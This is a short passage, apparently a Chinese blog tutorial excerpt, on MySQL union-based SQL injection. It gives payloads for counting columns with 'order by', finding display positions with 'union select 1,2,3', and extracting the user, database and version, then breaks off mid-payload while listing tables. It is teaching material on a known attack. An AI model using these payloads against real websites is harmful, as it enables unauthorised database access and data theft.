sql注入之——mysql的四大注入基本注入手法

union类型的sql注入(联合查询注入) 条件： 页面必须有显示位 判断列数： 1’ order by 3-- - 不存在返回错误 判断显示位: -1’ union select 1,2,3-- - 查看数据库： -1’ union select user(),database(),version()-- - 查看数据库有哪些表 (爆数据表)table_schema='数据库名’ -1’ uni

>>阅读原文<<